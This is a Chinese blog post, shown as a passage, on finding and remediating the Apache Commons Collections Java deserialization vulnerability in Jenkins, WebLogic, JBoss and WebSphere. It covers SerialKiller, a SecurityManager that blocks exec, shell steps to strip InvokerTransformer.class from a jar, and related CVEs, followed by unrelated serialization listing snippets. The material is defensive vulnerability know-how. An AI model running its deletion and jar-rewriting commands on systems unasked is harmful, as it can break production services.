      确保对象的成员变量符合正确的约束条件;
      确保需要优化序列化的性能。
    漏洞挖掘:
      (1)通过代码审计/行为分析等手段发现漏洞所在靶点
      (2)进行POC分析构造时可以利用逆推法

     


     

    漏洞修补

    Java反序列化漏洞的快速排查和修复方案
    
    目前打包有apache commons collections库并且应用比较广泛的主要组件有Jenkins WebLogic Jboss WebSphere  OpenNMS。
    其中Jenkins由于功能需要大都直接暴露给公网。
    首先确认产品中是否包含上述5种组件 使用grep命令或者其他相关搜索命令检测上述组件安装目录是否包含库Apache Commons Collections。搜索下列jar。 commons
    -collections.jar *.commons-collections.jar apache.commons.collections.jar *.commons-collections.*.jar 如果包含请参考下述解决方案进行修复。

     

    通用解决方案

    更新Apache Commons Collections库   Apache Commons Collections在
    3.2.2版本开始做了一定的安全处理,新版本的修复方案对相关反射调用进行了限制,对这些不安全的Java类的序列化支持增加了开关。 NibbleSecurity公司的ikkisoft在github上放出了一个临时补丁SerialKiller
      lib地址:https://github.com/ikkisoft/SerialKiller   下载这个jar后放置于classpath,将应用代码中的java.io.ObjectInputStream替换为SerialKiller
      之后配置让其能够允许或禁用一些存在问题的类,SerialKiller有Hot
    -Reload,Whitelisting,Blacklisting几个特性,控制了外部输入反序列化后的可信类型。

     

      严格意义说起来,Java相对来说安全性问题比较少,出现的一些问题大部分是利用反射,最终用Runtime.exec(String cmd)函数来执行外部命令的。

      如果可以禁止JVM执行外部命令,未知漏洞的危害性会大大降低,可以大大提高JVM的安全性。比如:

    SecurityManager originalSecurityManager = System.getSecurityManager();
        if (originalSecurityManager == null) {
            // 创建自己的SecurityManager
            SecurityManager sm = new SecurityManager() {
            private void check(Permission perm) {
                // 禁止exec
                if (perm instanceof java.io.FilePermission) {
                    String actions = perm.getActions();
                    if (actions != null &amp;&amp; actions.contains("execute")) {
                        throw new SecurityException("execute denied!");
                    }
                }
                // 禁止设置新的SecurityManager
                if (perm instanceof java.lang.RuntimePermission) {
                    String name = perm.getName();
                    if (name != null &amp;&amp; name.contains("setSecurityManager")) {
                        throw new SecurityException(
                        "System.setSecurityManager denied!");
                    }
                }
            }
            @Override
            public void checkPermission(Permission perm) {
                check(perm);
            }
            @Override
            public void checkPermission(Permission perm, Object context) {
                check(perm);
            }
        };
       System.setSecurityManager(sm);
    }

      如上所示,只要在Java代码里简单加一段程序,就可以禁止执行外部程序了。 

      禁止JVM执行外部命令,是一个简单有效的提高JVM安全性的办法。可以考虑在代码安全扫描时,加强对Runtime.exec相关代码的检测。

    针对其他的Web Application的修复

    Weblogic
    影响版本:Oracle WebLogic Server, 10.3.6.0, 12.1.2.0, 12.1.3.0, 12.2.1.0 版本。 临时解决方案
    1 使用 SerialKiller 替换进行序列化操作的 ObjectInputStream 类; 2 在不影响业务的情况下,临时删除掉项目里的 “org/apache/commons/collections/functors/InvokerTransformer.class” 文件; 官方解决方案 官方声明: http://www.oracle.com/technetwork/topics/security/alert-cve-2015-4852-2763333.html Weblogic 用户将收到官方的修复支持 Jboss

    临时解决方案
    1 删除 commons-collections jar 中的 InvokerTransformer, InstantiateFactory, 和InstantiateTransfromer class 文件
    官方解决方案
    https:
    //issues.apache.org/jira/browse/COLLECTIONS-580 https://access.redhat.com/solutions/2045023

    jenkins 临时解决方案   1 使用 SerialKiller 替换进行序列化操作的 ObjectInputStream 类;   2 在不影响业务的情况下,临时删除掉项目里的“org/apache/commons/collections/functors/InvokerTransformer.class” 文件; 官方解决方案: Jenkins 发布了 安全公告 ,并且在1.638版本中修复了这个漏洞。 官方的补丁声明链接:
    https:
    //jenkins-ci.org/content/mitigating-unauthenticated-remote-code-execution-0-day-jenkins-cli https://github.com/jenkinsci-cert/SECURITY-218
    websphere
      Version8.0,Version7.0,Version8.5 and 8.5.5 Full Profile and Liberty Profile
    临时解决方案
    1 使用 SerialKiller 替换进行序列化操作的 ObjectInputStream 类;
    2 在不影响业务的情况下,临时删除掉项目里的“org/apache/commons/collections/functors/InvokerTransformer.class” 文件
    在服务器上找org/apache/commons/collections/functors/InvokerTransformer.class类的jar,目前weblogic10以后都在Oracle/Middleware/modules下    
    com.bea.core.apache.commons.collections_3.2.0.jar,创建临时目录tt,解压之后删除InvokerTransformer.class类后
    再改成com.bea.core.apache.commons.collections_3.2.0.jar
    覆盖Oracle/Middleware/modules下,重启所有服务。如下步骤是linux详细操作方法: A)mkdir tt B)cp -r Oracle/Middleware/modules/com.bea.core.apache.commons.collections_3.2.0.jar ./tt C)jar xf Oracle/Middleware/modules/com.bea.core.apache.commons.collections_3.2.0.jar D)cd org/apache/commons/collections/functors E)rm -rf InvokerTransformer.class F)jar cf com.bea.core.apache.commons.collections_3.2.0.jar org/* META-INF/* G)mv com.bea.core.apache.commons.collections_3.2.0.jar Oracle/Middleware/modules/ H)重启服务

    重启服务时候要删除server-name下的cache和tmp
    例如rm -rf ~/user_projects/domains/base_domain/servers/AdminServer/cache
    rm -rf  ~/user_projects/domains/base_domain/servers/AdminServer/tmp

    相关CVE

    CVE-2015-7501

    CVE-2015-4852(Weblogic)

    CVE-2015-7450(Websphere)

    漏洞引申  

    http://www.mottoin.com/86117.html  Apache Shiro Java 反序列化漏洞分析

    版权声明: 
    作者:ssooking  联系邮箱:ssooking@qq.com 
    若无特殊说明,所发博文皆为原创,转载请务必注明出处、保留原文地址。欢迎交流分享!
    展开全文
  • a,什么叫序列化和反序列化 b,作用。为啥要实现这个 Serializable 接口,也就是为啥要序列化 c,serialVersionUID 这个的值到底是在怎么设置的,有什么用。有的是1L,有的是一长串数字,迷惑ing。 我刚刚见到这个...
  • 序列化和反序列化

    2020-11-11 22:29:16
    把字节序列恢复为对象的过程称为对象的反序列化。 对象的序列化主要有两种用途: 把对象的字节序列永久地保存到硬盘上,通常存放在一个文件中; 在网络上传送对象的字节序列。 在很多应用中,需要对某些对象进行...
  • c#中的序列化和反序列化

    千次阅读 2019-08-13 21:25:48
    第一步:什么是序列化和反序列化 序列化定义:将对象转化为容易传输的格式的过程。 反序列化定义:重新解析构造被序列化的对象 第二步:为什么要序列化和反序列化 当两个进程在进行远程通信时,彼此可以发送各种...
  • 序列化和反序列化的底层实现原理是什么?

    万次阅读 多人点赞 2018-04-07 13:53:41
    序列化和反序列化作为Java里一个较为基础的知识点,大家心里也有那么几句要说的,但我相信很多小伙伴掌握的也就是那么几句而已,如果再深究问一下Java如何实现序列化和反序列化的,就可能不知所措了!遥记当年也被问...
  • 序列化和反序列化的简单理解

    万次阅读 多人点赞 2016-05-10 19:24:12
    一、序列化和反序列化的概念  把对象转换为字节序列的过程称为对象的序列化。  把字节序列恢复为对象的过程称为对象的反序列化。  对象的序列化主要有两种用途:  1) 把对象的字节序列永久地保存到硬盘上,...
  • 点击上方蓝色字体,选择“标星公众号”优质文章,第一时间送达 关注公众号后台回复pay或mall获取实战项目资料+视频 作者:riemann_blog.csdn.net/riemann_/...
  • 1.序列化serialize()与反序列化unserialize() 序列化:把一个对象变成可以传输的字符串。 反序列化:把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。 举例说明如下: <?php Class a{ Var $...
  • Apache Commons Collections反序列化漏洞必然是2015年影响重大的漏洞之一,同时也开启了各类java反序列漏洞的大门,...java反序列化漏洞基本一出必高危,风险程度极大,最近研究了一些反序列化漏洞,本篇记录apache ...
  • 序列化与反序列化是开发过程中不可或缺的一步,简单来说,序列化是将对象转换成字节流的过程,而反序列化的是将字节流恢复成对象的过程。两者的关系如下: 序列化: 将数据结构或对象转换成可取用格式(例如存成...
  • 目录 一、前言 二、序列化与反序列化简介 三、反序列化怎样才会被利用? 1、说明 ...2、关键类说明-Transformer ...四、Dubbo反序列化漏洞剖析 1、Dubbo的漏洞简介 2、漏洞复现步骤 3、如何解决漏洞 五、更...
  • 序列化serialize() 序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象: class S{ public $test=“pikachu”; } s=newS();//创建一个对象serialize(s=new S(); //创建一个对象 seria...
  • 0x01 实验环境 靶场:pikachu+LKWA 平台:bugku+攻防世界+0CTF+南邮ctf+其他 环境:win10+VPS(ubuntu)+Docker ...Session反序列化漏洞 phar://协议 phar文件 简单回顾 对上一篇博客做一些补充: 所谓序列...
  • 反序列化漏洞

    2018-10-08 18:56:10
    Weblogic反序列化漏洞 Java 提供了一种对象序列化的机制,该机制中,一个对象可以被表示为一个字节序列,该字节序列包括该对象的数据、有关对象的类型的信息和存储在对象中数据的类型。 将序列化对象写入文件之后,...
  • 前言最近学习java反序列化学到了weblogic部分,weblogic之前的两个反序列化漏洞不涉及T3协议之类的,只是涉及到了XMLDecoder反序列化导致漏洞,但是网上大部分的文章...
  • jboss中间件反序列化漏洞获取Webshell还原 理论 可以在谷歌浏览器的wappalyzer插件中查看jboss相关信息 历史漏洞参考;https://www.seebug.org/appdir/JBoss https://www.jianshu.com/p/e34062e0a6f1 默认后台地址...
  • WebLogic Java反序列化漏洞终极建议

    万次阅读 2018-09-25 13:01:56
    title: WebLogic Java反序列化漏洞终极建议 author: rocklei123 tags: Java WebLogic categories: Spring date: 2018-09-25 09:27:33 0. 概述: 本文针对这几年来WebLogic软件经常报出的java反序列化漏洞问题进行...

空空如也

1 2 3 4 5 ... 20
收藏数 273,196
精华内容 109,278
关键字:

反序列化